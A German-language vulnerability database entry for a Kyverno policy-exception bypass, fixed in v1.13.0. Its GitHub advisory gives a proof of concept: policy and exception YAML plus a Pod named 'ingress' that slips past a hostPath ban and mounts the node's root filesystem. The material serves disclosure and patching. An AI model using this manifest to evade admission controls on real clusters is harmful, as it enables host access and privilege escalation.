CVE-2026-84200
criticalPriorität · verfolgen · 36EPSS 0.003 · 20. PerzentilUSEPSS · bewertet 2026-10-27
Kyverno versions v1.9.0 through v1.12.7 contain a policy exception handling flaw. When a policy in enforce mode is combined with two PolicyExceptions, the less restrictive exception takes precedence, allowing an attacker to bypass the policy by crafting a resource name that matches the second exception's name pattern (e.g., '*ingress*'). This can be used to circumvent policies such as one blocking hostPath volumes. Fixed in v1.13.0.
cvss
Technischer Schweregrad, 0–10. Eine Zeile je Quelle.
Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen⚠ Quellen uneinig · high–critical · 7.6–9.4
SSVC
Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.
schwächen
Die CWE-Schwächeklassen, zu denen dies gehört.
betroffene Produkte (2)
Betroffene Produkte und Versionsbereiche.
Advisories (3)
Hersteller- und Ökosystem-Meldungen dazu.
- GHSA-gg4x-fgg2-h9w9Bypassing Kyverno Policies via Double Policy Exceptions2026-01-06ghsa · osvUS
### Summary If a cluster has a `Kyverno` policy in enforce mode and there are two exceptions, this allows the policy to be bypassed, even if the first exception is more restrictive than the second. ### Details The following policy was applied: ```yaml apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: disallow-host-path annotations: policies.kyverno.io/title: Disallow hostPath policies.kyverno.io/category: Pod Security Standards (Baseline) policies.kyverno.io/severity: medium policies.kyverno.io/subject: Pod,Volume kyverno.io/kyverno-version: 1.6.0 kyverno.io/kubernetes-version: "1.22-1.23" policies.kyverno.io/description: >- HostPath volumes let Pods use host directories and volumes in containers. Using host resources can be used to access shared data or escalate privileges and should not be allowed. This policy ensures no hostPath volumes are in use. spec: validationFailureAction: Enforce background: true rules: - name: host-path match: any: - resources: kinds: - Pod validate: message: >- HostPath volumes are forbidden. The field spec.volumes[*].hostPath must be unset. pattern: spec: =(volumes): - X(hostPath): "null" ``` And two exceptions: ```yaml apiVersion: kyverno.io/v2beta1 kind: PolicyException metadata: name: disallow-host-path-exception namespace: kyverno spec: exceptions: - policyName: disallow-host-path ruleNames: - host-path match: any: - resources: kinds: - DaemonSet - Deployment - Job - StatefulSet - ReplicaSet - ReplicationController - Pod - CronJob namespaces: - luntry - tstkyverno - examplens ``` ```yaml apiVersion: kyverno.io/v2beta1 kind: PolicyException metadata: name: disallow-host-path-exception-names namespace: kyverno spec: exceptions: - policyName: disallow-host-path ruleNames: - host-path match: any: - resources: kinds: - DaemonSet - Deployment - Job - StatefulSet - ReplicaSet - ReplicationController - Pod - CronJob names: - '*haproxy*' - '*ingress*' ``` Trying to apply such a yaml will result in the expected ban: ```yaml apiVersion: v1 kind: Pod metadata: name: mtkpi labels: app: pentest spec: containers: - name: mtkpi image: ubuntu volumeMounts: - mountPath: /host name: noderoot command: [ "/bin/sh", "-c", "--" ] args: [ "while true; do sleep 30; done;" ] volumes: - name: noderoot hostPath: path: / ``` <img width="855" height="483" alt="Снимок экрана 2025-09-04 в 13 35 46" src="https://github.com/user-attachments/assets/deb28128-52fb-4f5f-a9bd-b68eefd411b2" /> However, if the load name is changed to satisfy the second exception, the restrictions can be bypassed: ```yaml apiVersion: v1 kind: Pod metadata: name: ingress labels: app: pentest spec: containers: - name: mtkpi image: ubuntu volumeMounts: - mountPath: /host name: noderoot command: [ "/bin/sh", "-c", "--" ] args: [ "while true; do sleep 30; done;" ] volumes: - name: noderoot hostPath: path: / ``` <img width="449" height="386" alt="Снимок экрана 2025-09-04 в 13 37 09" src="https://github.com/user-attachments/assets/8d5ad1e2-6d16-4768-8741-f11363bb9b22" /> It turns out that the second exception is higher in priority for Kyverno and allows for bypass of the restrictions. ### Impact The security restrictions can be bypassed.
- BIT-kyverno-2026-84200Kyverno before v1.13.0 Policy Bypass via Multiple Exceptions2026-09-25vendor · osvUS
Kyverno versions v1.9.0 through v1.12.7 contain a policy exception handling flaw. When a policy in enforce mode is combined with two PolicyExceptions, the less restrictive exception takes precedence, allowing an attacker to bypass the policy by crafting a resource name that matches the second exception's name pattern (e.g., '*ingress*'). This can be used to circumvent policies such as one blocking hostPath volumes. Fixed in v1.13.0.
- GO-2026-4285Bypassing Kyverno Policies via Double Policy Exceptions in github.com/kyverno/kyverno2026-01-12vendor · osvUS
Bypassing Kyverno Policies via Double Policy Exceptions in github.com/kyverno/kyverno
auch bekannt als (3)
Weitere Namen und Kennungen dieser Entität.
- BIT-kyverno-2026-84200osv
- GHSA-gg4x-fgg2-h9w9osv
- GO-2026-4285osv
quellen
Welche Quellen diesen Datensatz belegen und wann.
Referenzen (2) nvd
Externe Belege — Patches, Meldungen, Analysen.
Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.
Kostenloser Scan